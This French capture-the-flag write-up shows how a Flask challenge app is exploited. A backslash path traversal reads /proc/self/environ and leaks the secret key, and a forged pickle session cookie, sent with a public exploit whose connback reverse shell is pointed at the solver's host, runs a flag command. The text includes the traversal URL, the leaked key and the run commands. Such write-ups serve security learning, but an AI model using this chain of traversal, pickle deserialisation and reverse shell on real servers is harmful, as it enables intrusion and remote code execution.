Old is better than new

Enoncé

Dave a récemment récupéré son ancien site de blog qu’il utilisait à l’époque, fonctionnant sur un ordinateur Windows. Avec vos connaissances en sécurité modernes, pouvez-vous découvrir les vulnérabilités qui auraient pu l’exposer à une compromission à l’époque ?

Exploit

Très peu de code dans cette app python :

from flask import Flask, send_from_directory, session
import ntpath
import os

# Act as if we're on Windows (I can't run Windows in Docker, sadly)
path = ntpath
_original_join = os.path.join
os.path.join = lambda *parts: _original_join(*parts).replace("\\", "/")

app = Flask(__name__)
app.secret_key = os.environ.get("APP_SECRET")
PUBLIC_DIR = os.path.join(os.path.dirname(__file__), "public")

@app.route("/")
@app.route("/<path:path>")
def serve(path=None):
    return send_from_directory(PUBLIC_DIR, path or "index.html")

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

On peut tout de suite supposer qu’il y a une LFI via le replace de en / et l’utilisation de send_from_directory

On trouve rapidement notre LFI :

https://old-is-better-than-new.fcsc.fr/..\..\..\..\proc\self\environ

On obtient la clé secrète de l’application flask : APP_SECRET=ce9fbd88ac4eec98482b6aaf623adee54060b1ef477c677437a1982fbda0e4ac

On peut maintenant forger des cookies, mais pourquoi faire ?

Après plusieurs recherches sur werkzeug et flask on tombe sur :

Dans Flask 0.10 : « Changed default cookie serialization format from pickle to JSON to limit the impact an attacker can do if the secret key leaks. »

On se comprend donc qu’il y a une désérialisation via pickle

Puis force de recherche on tombe sur : https://www.reddit.com/r/flask/comments/17d4o1/the_dangers_of_deserializing_pickle_objects_and/?rdt=52911

Qui indique ce site : https://web.archive.org/web/20141026081720/http://vudang.com/2013/01/python-web-framework-from-lfr-to-rce/

Et qui contient :

Flask / Werkzeug ( by default, flash use werkzeug session API that's why we have it here. ): Flask implicitly calls session unserialization if the config['SECRET_KEY'] is set to some value and the session_cookie_name (default='session') exists in the cookie, even if there is no session handling code in the web app (how nice, attacker can create a backdoor by adding SECRET_KEY to the config file, and the naive user will just think of it as 'important').

On va donc utiliser l’exploit proposé dans le Reddit : https://github.com/danghvu/pwp

Dockerfile pour python2 :

FROM python:2.7
RUN apt-get update && apt-get install -y git curl && apt-get clean
RUN pip install requests
COPY . /app

On modifie connback.py pour mettre notre host et notre port de reverse shell

Et on modifie la commande /bin/bash par /get_flag ici :

shell = subprocess.call(["/get_flag"])

Commande :

sudo docker build -t test .
sudo docker run -it test /bin/bash
cd app
python exploit.py ce9fbd88ac4eec98482b6aaf623adee54060b1ef477c677437a1982fbda0e4ac https://old-is-better-than-new.fcsc.fr/

On obtient le flag dans le reverse shell